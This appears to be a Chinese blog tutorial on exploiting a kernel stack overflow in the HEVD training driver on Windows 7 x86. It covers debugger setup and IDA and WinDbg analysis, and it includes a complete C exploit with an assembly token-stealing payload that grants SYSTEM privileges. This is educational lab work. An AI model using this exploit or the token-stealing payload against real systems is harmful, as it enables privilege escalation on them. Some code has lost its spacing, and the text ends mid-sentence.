windows内核之栈溢出(一)

admin 2025年2月25日13:04:45评论9 views字数 21205阅读70分41秒阅读模式

0x00 前言

HEVD是入门windows内核的一个很好的靶场之一,主要是体验一下常见的提权漏洞利用的情景,里面内置了很多内核上常见的利用漏洞,如栈溢出、UAF、任意内存读写、未初始化、池溢出等。

0x01 环境搭建

环境 下载链接
Win7 x86 https://msdn.itellyou.cn/
HEVD https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/releases/tag/v3.00

windows内核之栈溢出(一)
HEVD要把2个文件都下载
windows内核之栈溢出(一)

一、操作系统+VS2019搭建

这个就不介绍了,CSDN一搜就有一堆

二、双机内核调试环境搭建

下载列表

Windows 10 SDK(随意选择最新版) https://developer.microsoft.com/zh-cn/windows/downloads/windows-10-sdk/
VirtualKD https://github.com/4d61726b/VirtualKD-Redux

windows 10 SDK集成了windows内核调试工具包(Windbg)

只需要选择这个
windows内核之栈溢出(一)
然后一直下一步即可安装
安装成功后会在所有应用W中生成一个Windows Kit
windows内核之栈溢出(一)
安装Windbg Preview
打开microsoft Store
windows内核之栈溢出(一)
搜索Windbg Preview并安装(我这里已经下过了)
windows内核之栈溢出(一)

因为是x86操作系统,所以我们只需要将target32文件夹复制到win7上
windows内核之栈溢出(一)
直接点击vminstall安装
windows内核之栈溢出(一)
重启Win7
打开vmmon64.exe
windows内核之栈溢出(一)
windows内核之栈溢出(一)
点击 F8
windows内核之栈溢出(一)
选择“禁用驱动程序签名强制”
然后会自动弹出一个Windbg Preview窗口(假设Break是灰的且Win7卡住了,那么需要点击一下Go继续运行Win7)
windows内核之栈溢出(一)
加载一遍后windbg preview会自动记录在自己的Symbol path中
windows内核之栈溢出(一)
没有符号表,Windbg就找不到PEB/TEB结构体

流程

  • 管理员运行cmd
  • 输入:bcdedit -debug on
  • 重启系统

配置这个后就可以

运行 --> gpedit.msc --> 用户配置 --> 管理模板 --> 系统 --> 驱动程序安装
windows内核之栈溢出(一)
设备驱动程序的代码签名 --> 选择**已启用** -->选项选择**忽略**
windows内核之栈溢出(一)
重启电脑

三、HEVD环境搭建

  1. driver 这是适应于Win7下的驱动文件,导入即可使用
  2. HackSysExtremeVulnerableDriver-3.00 这是源码文件
  • driver
  • secure 没有漏洞的驱动文件
    • x86
    • x64
  • vulnerable 存在利用漏洞的驱动文件
    • x86 内部的 HEVD.sys 即为我们需要使用的HEVD驱动文件
    • x64
  • source code
  • Driver\HEVD\ HEVD的漏洞源码文件,在后续分析对照源码时用到
  • \Exploit为HEVD 官方的漏洞利用代码
    • HackSysEVDExploit.vcxproj 可以生成一个HEVD集成的漏洞利用工具HackSysEVDExploit.exe,点击一下就能用VS2019生成了
  • \build 如果你想自己写一个sys文件,只要安装cmake后就能直接点击Build_HEVD_All.bat生成

工具

  • dbgview
  • kmdmanager

下载链接:

流程

  1. 我们将vulnerable\x86\HEVD.sys放到我们的win7 x86
  2. 管理员打开dbgview.exe
  3. 配置如下:

windows内核之栈溢出(一)

  1. 管理员运行kmdmanager.exe,选择我们需要导入的HEVD.sys文件
  2. 点击Register和run

Debugview出现如下表示驱动加载成功
windows内核之栈溢出(一)

  1. vulnerable\x86\HEVD.pdb文件放置在D:\Sources\Tools\symbols上(根据自己实际配置环境)

点击 Break 中断 win7
配置Windbg符号表
注意中间的D:\Sources\Tools\symbols,这个就是pdb放置的位置,你也可以根据自己实际情况设置(不懂的看看查:windbg配置符号表)

.sympathSRV*D:\Sources\Tools\symbols*http://msdl.microsoft.com/download/symbols;
.reload
  1. 在本机windbg preivew上测试符号表

命令:

xHEVD!*
  1. 出现如下:

windows内核之栈溢出(一)
环境配置完成

0x02 栈溢出

前面已经讲解了HEVD的在Win7下的环境配置方式,有什么问题可以直接在下方留言,这里讲解一下栈溢出利用方式

0x03 定位溢出函数

HEVD源码示例 HackSysExtremeVulnerableDriver-3.00\Driver\HEVD\BufferOverflowStack.c 即为我们存在栈溢出的源码文件
windows内核之栈溢出(一)
可以看到它给出的漏洞基于栈溢出的漏洞函数是TriggerBufferOverflowStack

我们可以直接IDA pro加载HEVD.sys分析该漏洞函数,直接在Function window窗口ctrl+f查找TriggerBufferOverflowStack
windows内核之栈溢出(一)
直接F5伪代码查看
windows内核之栈溢出(一)
漏洞函数memcpy()
函数解析
可以看到这里是因为没有检查UserBuffer的大小直接将他复制给了KernelBuffer,而KernelBuffer大小是固定值,进而导致溢出发生

0x04 分析目标栈溢出函数调用流程

我们定位的栈溢出函数为:TriggerBufferOverflowStack(x,x)

下面即为函数调用的执行流程:

windows内核之栈溢出(一)
执行HEVD.sys驱动后我们首先是进入到DriverEntry(x,x),然后通过IrpDeviceIoCtlHandler(x,x)根据IoControlCode使用switch函数跳转到BufferOverflowStackIoctlHandler然后进入TriggerBufferOverflowStack进行溢出操作

分析IrpDeviceIoCtlHandler(x,x)

PAGE:00444064_IrpDeviceIoCtlHandler@8procnear;DATAXREF:DriverEntry(x,x)+87o
PAGE:00444064
PAGE:00444064DeviceObject=dwordptr8
PAGE:00444064Irp=dwordptr0Ch
PAGE:00444064
PAGE:00444064pushebp
PAGE:00444065movebp,esp
PAGE:00444067pushebx
PAGE:00444068pushesi
PAGE:00444069pushedi
PAGE:0044406Amovedi,[ebp+Irp]
PAGE:0044406Dmovebx,0C00000BBh
PAGE:00444072moveax,[edi+60h]
PAGE:00444075testeax,eax
PAGE:00444077jzloc_4444C5
PAGE:0044407Dmovebx,eax
PAGE:0044407Fmovecx,[ebx+0Ch]
PAGE:00444082leaeax,[ecx-222003h];switch109cases//可以看到起始跳转IoControlCode为222003h
PAGE:00444088cmpeax,108//跳转到default
PAGE:0044408Bjadef_444098;jumptable00444098defaultcase,cases2236420-2236422,2236424-2236426,2236428-2236430,2236432-2236434,2236436-2236438,2236440-2236442,2236444-2236446,2236448-2236450,2236452-2236454,2236456-2236458,2236460-2236462,2236464-2236466,2236468-2236470,2236472-2236474,2236476-2236478,2236480-2236482,2236484-2236486,2236488-2236490,2236492-2236494,2236496-2236498,2236500-2236502,2236504-2236506,2236508-2236510,2236512-2236514,2236516-2236518,2236520-2236522,2236524-2236526
PAGE:00444091movzxeax,ds:byte_444554[eax]//真实调用函数跳转
PAGE:00444098jmpds:jpt_444098[eax*4];switchjump

我们也可以伪代码分析
windows内核之栈溢出(一)
上面可以很清楚的表示想要进入BufferOverflowStackIoctlHandler就需要IoControlCode222003,进而进入溢出函数TriggerBufferOverflowStack

0x05 溢出利用

漏洞利用流程:

  • 触发漏洞
  • 寻找一个可执行的空间, 里面存放我们的shellcode
  • 调用指令流跳转到shellcode

查看KernelBuffer到达ret的偏移量

windows内核之栈溢出(一)
如图ret地址的偏移量为0x81c + 0x4 = 0x820h

EXP如下:

VS2019生成release+win32类型的载荷就可以了(debug模式下会使ebp复原失败)

#include"stdio.h"
#include"windows.h"
#include<stdlib.h>
//#include"ntapi.h"
#include<tchar.h>

VOIDTokenStealingPayloadWin7(){
//ImportanceofKernelRecovery
__asm{
pushad;保存各寄存器数据
;startofTokenStealingStub

xoreax,eax;eax设置为0
moveax,fs:[eax + 124h];获取nt!_KPCR.PcrbData.CurrentThread
moveax,[eax + 050h];获取nt!_KTHREAD.ApcState.Process
movecx,eax;将本进程EPROCESS地址复制到ecx
movedx,4;WIN7SP1SYSTEMprocessPID=0x4

SearchSystemPID:
moveax,[eax + 0b8h];获取nt!_EPROCESS.ActiveProcessLinks.Flink
subeax,0b8h
cmp[eax + 0b4h],edx;获取nt!_EPROCESS.UniqueProcessId
jneSearchSystemPID;循环检测是否是SYSTEM进程PID

movedx,[eax + 0f8h];获取System进程的Token
mov[ecx + 0f8h],edx;将本进程Token替换为SYSTEM进程nt!_EPROCESS.Token
;EndofTokenStealingStub

popad;恢复各个寄存器数据

;KernelRecoveryStub
xoreax,eax;返回状态SUCCEESS
addesp,12;Fixthestack
popebp;RestoresavedEBP
ret8;Returncleanly
}
}

staticVOIDCmd()
{
STARTUPINFOsi={sizeof(si)};
PROCESS_INFORMATIONpi={0};
si.dwFlags=STARTF_USESHOWWINDOW;
si.wShowWindow=SW_SHOW;
WCHARwzFilePath[MAX_PATH]={L"cmd.exe"};
BOOLbReturn=CreateProcessW(NULL,wzFilePath,NULL,NULL,FALSE,CREATE_NEW_CONSOLE,NULL,NULL,(LPSTARTUPINFOW)&si,&pi);
if(bReturn)CloseHandle(pi.hThread),CloseHandle(pi.hProcess);
}

intmain()
{
charbuffer[0x824];
HANDLEhDevice;
DWORDbReturn=0;
hDevice=CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL|FILE_FLAG_OVERLAPPED,
NULL
);

if(hDevice==INVALID_HANDLE_VALUE||hDevice==NULL)
{
printf("Failed to get handle...!\n");
return0;
}

memset(buffer,'A',0x824);//创建一个0x824大小的内存空间来放置我们的shellcode
*(PDWORD)(buffer+0x820)=(DWORD)&TokenStealingPayloadWin7;


DeviceIoControl(hDevice,0x222003,buffer,0x824,NULL,0,&bReturn,NULL);
Cmd();
return0;
}

代码解析:

    memset(buffer, 'A', 0x824);                                 //生成一个0x824大小的内存空间
    *(PDWORD)(buffer + 0x820) = (DWORD)&TokenStealingPayloadWin7;           //0x8204位指向函数TokenStealingPayloadWin7空间
  //由于到达ret需要0x820,所以只需要溢出将TokenStealingPayloadWin7地址覆盖到ret即可0x824
VOID TokenStealingPayloadWin7() {
    // Importance of Kernel Recovery
    __asm {
        pushad                                                  ;保存各寄存器数据
        ; start of Token Stealing Stub

        xor eax, eax                                        ; eax设置为0
        mov eax, fs: [eax + 124h]           ; 获取 nt!_KPCR.PcrbData.CurrentThread
        mov eax, [eax + 050h]                       ; 获取 nt!_KTHREAD.ApcState.Process
        mov ecx, eax                                        ; 将本进程EPROCESS地址复制到ecx
        mov edx, 4                                          ; WIN 7 SP1 SYSTEM process PID = 0x4

        SearchSystemPID:
        mov eax, [eax + 0b8h]                       ; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, 0b8h
            cmp[eax + 0b4h], edx                    ; 获取 nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID                     ; 循环检测是否是SYSTEM进程PID

            mov edx, [eax + 0f8h]                   ; 获取System进程的Token
            mov[ecx + 0f8h], edx                    ; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
            ; End of Token Stealing Stub

            popad                                                   ; 恢复各个寄存器数据

            ; Kernel Recovery Stub
            xor eax, eax                                    ; 返回状态 SUCCEESS
            add esp, 12                                     ; Fix the stack
            pop ebp                                             ; Restore saved EBP
            ret 8                                                   ; Return cleanly
    }
}
    //调用驱动HackSysExtremeVulnerableDriver
  hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL
    );


//向HackSysExtremeVulnerableDriver传入控制码0x222003到达TriggerBufferOverflowStack,传入0x824大小的数据
DeviceIoControl(hDevice, 0x222003, buffer, 0x824, NULL, 0, &bReturn, NULL);
staticVOIDCmd()
{
STARTUPINFOsi={sizeof(si)};
PROCESS_INFORMATIONpi={0};
si.dwFlags=STARTF_USESHOWWINDOW;
si.wShowWindow=SW_SHOW;
WCHARwzFilePath[MAX_PATH]={L"cmd.exe"};
BOOLbReturn=CreateProcessW(NULL,wzFilePath,NULL,NULL,FALSE,CREATE_NEW_CONSOLE,NULL,NULL,(LPSTARTUPINFOW)&si,&pi);
if(bReturn)CloseHandle(pi.hThread),CloseHandle(pi.hProcess);
}

这里实际就是一个启动CMD的命令

xor eax, eax                                    ; Set NTSTATUS SUCCEESS
add esp, 12                                 ; Fix the stack
pop ebp                                     ; Restore saved EBP
ret 8                                       ; Return cleanly
  • add esp, 12 ; Fix the stack
  • 这里复原前面的
    • push ebx
    • push esi
    • push edi
  • ret 8 ; Return cleanly
  • 这里复原前面的
    • pop ebp
    • ret指令本身的add esp, 4

载荷执行结果:

windows内核之栈溢出(一)

0x06 利用分析

查看驱动服务开启后目标函数位于内存的位置

kd> x HEVD!*
DBGHELP: HEVD - private symbols & lines 
        d:\sources\tools\symbols01\HEVD.pdb
a1d20014          HEVD!__security_cookie_complement = 0x2ea0a90f
a1d20018          HEVD!g_ARWHelperObjectNonPagedPoolNx = struct _ARW_HELPER_OBJECT_NON_PAGED_POOL_NX *[65535]
a1d60014          HEVD!g_UseAfterFreeObjectNonPagedPool = 0x00000000
a1d1f04c          HEVD!__guard_check_icall_fptr = 0xa1d1e404
a1d1f050          HEVD!GuardCheckLongJumpTargetImpl = 0x00000000
a1d1f140          HEVD!__safe_se_handler_table = void *[]
a1d1f098          HEVD!_load_config_used = struct _IMAGE_LOAD_CONFIG_DIRECTORY32
a1d20010          HEVD!__security_cookie = 0xd15f56f0
a1d20000          HEVD!__NLG_Destination = struct _NLG_INFO
a1d60018          HEVD!g_UseAfterFreeObjectNonPagedPoolNx = 0x00000000
a1d63410          HEVD!FreeUaFObjectNonPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d637f2          HEVD!UaFObjectCallbackNonPagedPoolNx (void)
a1d62920          HEVD!TriggerMemoryDisclosureNonPagedPoolNx (void *, unsigned long)
a1d623aa          HEVD!TriggerDoubleFetch (struct _DOUBLE_FETCH *)
a1d62ade          HEVD!TriggerNullPointerDereference (void *)
a1d6373c          HEVD!FreeUaFObjectNonPagedPoolNx (void)
a1d1e045          HEVD!__SEH_epilog4 (void)
a1d1e3a5          HEVD!_NLG_Notify (void)
a1d1e000          HEVD!__SEH_prolog4 (void)
a1d62aaa          HEVD!NullPointerDereferenceIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d1e2d0          HEVD!_unwind_handler4 (void)
a1d615e4          HEVD!CreateArbitraryReadWriteHelperObjectNonPagedPoolNx (struct _ARW_HELPER_OBJECT_IO *)
a1d63806          HEVD!UseUaFObjectNonPagedPoolNx (void)
a1d634f0          HEVD!AllocateFakeObjectNonPagedPoolNx (struct _FAKE_OBJECT_NON_PAGED_POOL_NX *)
a1d634e8          HEVD!UseUaFObjectNonPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d615c2          HEVD!IrpNotImplementedHandler (struct _DEVICE_OBJECT *, struct _IRP *)
a1d6217e          HEVD!BufferOverflowStackIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61e68          HEVD!TriggerBufferOverflowNonPagedPoolNx (void *, unsigned long)
a1d62e4a          HEVD!TriggerUninitializedMemoryPagedPool (void *)
a1d6311c          HEVD!AllocateFakeObjectNonPagedPool (struct _FAKE_OBJECT_NON_PAGED_POOL *)
a1d1e3c4          HEVD!_NLG_Call (void)
a1d624c8          HEVD!TriggerInsecureKernelFileAccess (void)
a1d628f8          HEVD!MemoryDisclosureNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d6238a          HEVD!DoubleFetchIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61bee          HEVD!TriggerArbitraryWrite (struct _WRITE_WHAT_WHERE *)
a1d1e240          HEVD!_local_unwind4 (void)
a1d63236          HEVD!AllocateUaFObjectNonPagedPool (void)
a1d63734          HEVD!AllocateUaFObjectNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d1e1e8          HEVD!__SEH_prolog4_GS (void)
a1d61bce          HEVD!ArbitraryWriteIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61000          HEVD!DriverUnloadHandler (struct _DRIVER_OBJECT *)
a1d1e230          HEVD!__SEH_epilog4_GS (void)
a1d62c68          HEVD!TriggerTypeConfusion (struct _USER_TYPE_CONFUSION_OBJECT *)
a1d61fe2          HEVD!BufferOverflowPagedPoolSessionIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61bae          HEVD!SetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61a2c          HEVD!GetArbitraryReadWriteHelperObjecNameNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61808          HEVD!DeleteArbitraryReadWriteHelperObjecNonPagedPoolNx (struct _ARW_HELPER_OBJECT_IO *)
a1d61048          HEVD!IrpCreateCloseHandler (struct _DEVICE_OBJECT *, struct _IRP *)
a1d638ca          HEVD!TriggerWriteNULL (void *)
a1d622a6          HEVD!TriggerBufferOverflowStackGS (void *, unsigned long)
a1d1e318          HEVD!_seh_longjmp_unwind4 (unsigned long)
a1d62006          HEVD!TriggerBufferOverflowPagedPoolSession (void *, unsigned long)
a1d62772          HEVD!TriggerMemoryDisclosureNonPagedPool (void *, unsigned long)
a1d650ea          HEVD!GsDriverEntry (struct _DRIVER_OBJECT *, struct _UNICODE_STRING *)
a1d62ffa          HEVD!TriggerUninitializedMemoryStack (void *)
a1d63216          HEVD!AllocateFakeObjectNonPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d62de6          HEVD!TypeConfusionIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d618f2          HEVD!DeleteArbitraryReadWriteHelperObjecNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d1e3ce          HEVD!__security_check_cookie (unsigned int)
a1d6261a          HEVD!TriggerIntegerOverflow (void *, unsigned long)
a1d6342c          HEVD!UseUaFObjectNonPagedPool (void)
a1d635ee          HEVD!AllocateFakeObjectNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d624c0          HEVD!InsecureKernelFileAccessIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d1e060          HEVD!ValidateLocalCookies (struct _EH4_SCOPETABLE *, char *)
a1d6360e          HEVD!AllocateUaFObjectNonPagedPoolNx (void)
a1d617e8          HEVD!CreateArbitraryReadWriteHelperObjectNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d638c2          HEVD!UseUaFObjectNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d1e0a0          HEVD!_except_handler4 (struct _EXCEPTION_RECORD *, struct _EXCEPTION_REGISTRATION_RECORD *, struct _CONTEXT *, void *)
a1d61064          HEVD!IrpDeviceIoCtlHandler (struct _DEVICE_OBJECT *, struct _IRP *)
a1d1e39c          HEVD!_NLG_Notify1 (void)
a1d63108          HEVD!UninitializedMemoryStackObjectCallback (void)
a1d6335a          HEVD!AllocateUaFObjectNonPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d62fe6          HEVD!UninitializedMemoryPagedPoolObjectCallback (void)
a1d1e404          HEVD!_guard_check_icall_nop (unsigned int)
a1d625f6          HEVD!IntegerOverflowIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61caa          HEVD!BufferOverflowNonPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d6274a          HEVD!MemoryDisclosureNonPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d6395e          HEVD!WriteNULLIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d621a2          HEVD!TriggerBufferOverflowStack (void *, unsigned long)
a1d61e44          HEVD!BufferOverflowNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61cce          HEVD!TriggerBufferOverflowNonPagedPool (void *, unsigned long)
a1d630e8          HEVD!UninitializedMemoryStackIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d62fc6          HEVD!UninitializedMemoryPagedPoolIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d61a4c          HEVD!GetFreeIndex (void)
a1d62e06          HEVD!TypeConfusionObjectInitializer (struct _KERNEL_TYPE_CONFUSION_OBJECT *)
a1d650fa          HEVD!__security_init_cookie (void)
a1d61a6a          HEVD!GetIndexFromPointer (void *)
a1d62aca          HEVD!NullPointerDereferenceObjectCallback (void)
a1d1e3de          HEVD!__report_gsfailure (void)
a1d61a94          HEVD!SetArbitraryReadWriteHelperObjecNameNonPagedPoolNx (struct _ARW_HELPER_OBJECT_IO *)
a1d63418          HEVD!UaFObjectCallbackNonPagedPool (void)
a1d61912          HEVD!GetArbitraryReadWriteHelperObjecNameNonPagedPoolNx (struct _ARW_HELPER_OBJECT_IO *)
a1d637ea          HEVD!FreeUaFObjectNonPagedPoolNxIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)
a1d63362          HEVD!FreeUaFObjectNonPagedPool (void)
a1d65000          HEVD!DriverEntry (struct _DRIVER_OBJECT *, struct _UNICODE_STRING *)
a1d62282          HEVD!BufferOverflowStackGSIoctlHandler (struct _IRP *, struct _IO_STACK_LOCATION *)

如上可知:a1d6261a HEVD!TriggerIntegerOverflow (void *, unsigned long)
**disassembly窗口**跟踪a1d6261a

HEVD!TriggerBufferOverflowStack:
a1d621a2680c080000push80Ch
a1d621a768e0f3d1a1pushoffsetHEVD!__safe_se_handler_table+0x2a0(a1d1f3e0)
a1d621ace84fbefbffcallHEVD!__SEH_prolog4(a1d1e000)
a1d621b133ffxoredi,edi
a1d621b3bb00080000movebx,800h
a1d621b853pushebx
a1d621b957pushedi
a1d621ba8d85e4f7ffffleaeax,[ebp-81Ch]
a1d621c050pusheax
a1d621c1e81cc0fbffcallHEVD!memset(a1d1e1e2)
a1d621c683c40caddesp,0Ch
a1d621c9897dfcmovdwordptr[ebp-4],edi
a1d621cc6a01push1
a1d621ce53pushebx
a1d621cfff7508pushdwordptr[ebp+8]
a1d621d2ff1524f0d1a1calldwordptr[HEVD!_imp__ProbeForRead (a1d1f024)]
a1d621d8ff7508pushdwordptr[ebp+8]
a1d621db68ee44d6a1pushoffsetHEVD!??::NNGAKEGL::`string' (a1d644ee)
a1d621e0 6a03           push    3
a1d621e2 6a4d           push    4Dh
a1d621e4 5b             pop     ebx
a1d621e5 53             push    ebx
a1d621e6 8b3504f0d1a1   mov     esi, dword ptr [HEVD!_imp__DbgPrintEx (a1d1f004)]
a1d621ec ffd6           call    esi
a1d621ee ff750c         push    dword ptr [ebp+0Ch]
a1d621f1 680445d6a1     push    offset HEVD! ?? ::NNGAKEGL::`string'(a1d64504)
a1d621f66a03push3
a1d621f853pushebx
a1d621f9ffd6callesi
a1d621fb8d85e4f7ffffleaeax,[ebp-81Ch]
a1d6220150pusheax
a1d62202682045d6a1pushoffsetHEVD!??::NNGAKEGL::`string' (a1d64520)
a1d62207 6a03           push    3
a1d62209 53             push    ebx
a1d6220a ffd6           call    esi
a1d6220c 6800080000     push    800h
a1d62211 683845d6a1     push    offset HEVD! ?? ::NNGAKEGL::`string'(a1d64538)
a1d622166a03push3
a1d6221853pushebx
a1d62219ffd6callesi
a1d6221b83c440addesp,40h
a1d6221e681646d6a1pushoffsetHEVD!??::NNGAKEGL::`string' (a1d64616)
a1d62223 6a03           push    3
a1d62225 53             push    ebx
a1d62226 ffd6           call    esi
a1d62228 ff750c         push    dword ptr [ebp+0Ch]
a1d6222b ff7508         push    dword ptr [ebp+8]
a1d6222e 8d85e4f7ffff   lea     eax, [ebp-81Ch]
a1d62234 50             push    eax
a1d62235 e8a2bffbff     call    HEVD!memcpy (a1d1e1dc)
a1d6223a 83c418         add     esp, 18h
a1d6223d eb27           jmp     HEVD!TriggerBufferOverflowStack+0xc4 (a1d62266)
a1d6223f 8b45ec         mov     eax, dword ptr [ebp-14h]
a1d62242 8b00           mov     eax, dword ptr [eax]
a1d62244 8b00           mov     eax, dword ptr [eax]
a1d62246 8945e4         mov     dword ptr [ebp-1Ch], eax
a1d62249 33c0           xor     eax, eax
a1d6224b 40             inc     eax
a1d6224c c3             ret     
a1d6224d 8b65e8         mov     esp, dword ptr [ebp-18h]
a1d62250 8b7de4         mov     edi, dword ptr [ebp-1Ch]
a1d62253 57             push    edi
a1d62254 68f042d6a1     push    offset HEVD! ?? ::NNGAKEGL::`string'(a1d642f0)
a1d622596a03push3
a1d6225b6a4dpush4Dh
a1d6225dff1504f0d1a1calldwordptr[HEVD!_imp__DbgPrintEx (a1d1f004)]
a1d6226383c410addesp,10h
a1d62266c745fcfeffffffmovdwordptr[ebp-4],0FFFFFFFEh
a1d6226d8bc7moveax,edi
a1d6226f8b4df0movecx,dwordptr[ebp-10h]
a1d6227264890d00000000movdwordptrfs:[0],ecx
a1d6227959popecx
a1d6227a5fpopedi
a1d6227b5epopesi
a1d6227c5bpopebx
a1d6227dc9leave
a1d6227ec20800ret8
a1d62281ccint3

由上方可以知道a1d62235 e8a2bffbff call HEVD!memcpy (a1d1e1dc)为溢出函数

kd> bp a1d62235

下完断点后直接**g**执行
最终程序停顿在
windows内核之栈溢出(一)
分析此时的ebp

kd> dd ebp
9453cad0  9453cae0 a1d6219a 0041ef5c 00000824
9453cae0  9453cafc a1d610ba 86e12660 86e126d0
9453caf0  86f3ca28 86fc1a40 00000000 9453cb14
9453cb00  83e55593 86fc1a40 86e12660 86e12660
9453cb10  86fc1a40 9453cb34 8404999f 86f3ca28
9453cb20  86e12660 86e126d0 00000094 0453cbac
9453cb30  9453cb44 9453cbd0 8404cb71 86fc1a40
9453cb40  86f3ca28 00000000 83eaf201 0001ca00
DBGHELP: HEVD is not source indexed

注意开始的这个9453cad0->9453cae0->9453cafc->00000000,这里的实际ebp为9453cafc,这是我们执行完shellcode后需要恢复的原始ebp
执行**单步步过p**

kd> p
HEVD!TriggerBufferOverflowStack+0x98:
a1d6223a 83c418          add     esp,18h

查看此时的esp和ebp

kd> dd esp
9453c28c  9453c2b4 0041ef5c 00000824 0000004d
9453c29c  00000003 a1d64616 450c9c20 86e12660
9453c2ac  83ee3087 86e126d0 41414141 41414141
9453c2bc  41414141 41414141 41414141 41414141
9453c2cc  41414141 41414141 41414141 41414141
9453c2dc  41414141 41414141 41414141 41414141
9453c2ec  41414141 41414141 41414141 41414141
9453c2fc  41414141 41414141 41414141 41414141
DBGHELP: HEVD is not source indexed
kd> dd ebp
9453cad0  41414141 00271040 0041ef5c 00000824
9453cae0  9453cafc a1d610ba 86e12660 86e126d0
9453caf0  86f3ca28 86fc1a40 00000000 9453cb14
9453cb00  83e55593 86fc1a40 86e12660 86e12660
9453cb10  86fc1a40 9453cb34 8404999f 86f3ca28
9453cb20  86e12660 86e126d0 00000094 0453cbac
9453cb30  9453cb44 9453cbd0 8404cb71 86fc1a40
9453cb40  86f3ca28 00000000 83eaf201 0001ca00
DBGHELP: HEVD is not source indexed

可以看到此时的我们压入的数据已经覆盖到我们的ebp地址,然后改写ret地址指向shellcode
我们查看012e1040的数据栈

kd> dd 012e1040
012e1040  60575653 8b64c033 00012480 50408b00
012e1050  04bac88b 8b000000 0000b880 00b82d00
012e1060  90390000 000000b4 908bed75 000000f8
012e1070  00f89189 33610000 0cc483c0 0008c25d
012e1080  c35b5e5f cccccccc cccccccc cccccccc
012e1090  81ec8b55 000a88ec 3004a100 c533012e
012e10a0  56fc4589 8068006a 6a400000 6a006a03
012e10b0  00006803 2068c000 c7012e21 fff5cc85

再查看我们的shellcode机器码
(下图为我用IDA分析上面exp编译生成的exe文件中的TokenStealingPayloadWin7函数)
windows内核之栈溢出(一)
对比发现这里就是我们的shellcode存放的位置
继续跟踪执行
当我们执行完**a1d6227e c20800 ret 8**
就会跳转到我们的shellcode
windows内核之栈溢出(一)
当我们执行到完0027107c 5d pop ebp对堆栈进行平衡后的ebp(用于防止蓝屏)

kd> dd ebp
9453cafc  9453cb14 83e55593 86fc1a40 86e12660
9453cb0c  86e12660 86fc1a40 9453cb34 8404999f
9453cb1c  86f3ca28 86e12660 86e126d0 00000094
9453cb2c  0453cbac 9453cb44 9453cbd0 8404cb71
9453cb3c  86fc1a40 86f3ca28 00000000 83eaf201
9453cb4c  0001ca00 00000002 fa51ccbb 00000020
9453cb5c  0041ee7c 840933ca 00000000 0012019f
9453cb6c  c03b98d0 00000000 86f3ca28 83eb9b8a

即还原为9453cafc

0x07 shellcode分析

查看访问凭证

系统中运行的每个进程都有其对应的EPROCESS数据结构,其中封装了所有与之相关的数据。该结构的完整定义,详见网址struct EPROCESS(EPROCESS数据结构在Windows操作系统的不同版本之间会有细微差别,更多信息参见网址EPROCESS )。EPROCESS结构的某些成员,比如PEB(Process Environment Block,进程环境块,具体含义可参考维基百科,网址:Process Environment Block),用户模式下即可访问;而另一些,比如所提到的访问凭证,只能在内核模式下访问。

一、查看EPROCESS结构体

dtnt!_EPROCESS

windows内核之栈溢出(一)
可以看到进程的Token就在EPROCESS结构体偏移0xF8

二、查看_EX_FAST_REF

dtnt!_EX_FAST_REF

windows内核之栈溢出(一)

三、查看所有进程的EPROCESS结构体首地址

!dml_proc

windows内核之栈溢出(一)

四、查看lsm.exe进程的Token

  1. 直接通过!process查看
!process869d77d8

windows内核之栈溢出(一)
可以看到lsm.exe的进程Token即为8b0a2db0

  1. 通过EPROCESS偏移查看
dtnt!_EX_FAST_REF869d77d8+0f8

这里的意思是进入到lsm.exeEPROCESS地址,然后使用_EX_FAST_REF结构体解读偏移0xf8后的位置
windows内核之栈溢出(一)
3. 直接查看内存数据

dd869d77d8+0f8

windows内核之栈溢出(一)
那么1得到的Token对比2和3得到的Token值为什么不同呢?
!process命令会自动应用掩码,并从显示信息中过滤引用计数;我们可以通过使用最右3比特置零的掩码,在如下表达式求值的帮助下,人工实现相同的功能:

